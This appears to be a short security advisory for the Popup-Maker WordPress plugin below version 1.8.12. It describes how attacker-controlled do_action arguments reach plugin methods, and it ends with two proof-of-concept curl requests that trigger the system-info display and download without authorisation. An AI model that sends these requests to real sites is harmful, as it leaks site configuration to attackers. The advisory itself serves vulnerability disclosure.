Popup-Maker < 1.8.12 - Multiple Vulnerabilities

2019-10-1400:00:00

Dimopoulos Ilias

0.055 Low

EPSS

Percentile

93.3%

JSON

An attacker can partially control the arguments of the do_action, during the initialization of the PUM_Site . Because of this, an attacker can call any method which contains an action starting from popmake_ or pum_ . This will lead to successful execution of functions which do not require arguments (e.g: PUM_Admin_Tools::sysinfo_download or PUM_Admin_Tools::sysinfo_display) or require one argument as an array.

curl http://www.your-domain-with-popup-maker.com/?pum_action=tools_page_tab_system_info


curl -v -d "popmake_action=popup_sysinfo&popmake-sysinfo=choose any content you like" -X POST http://www.your-domain-with-popup-maker.com/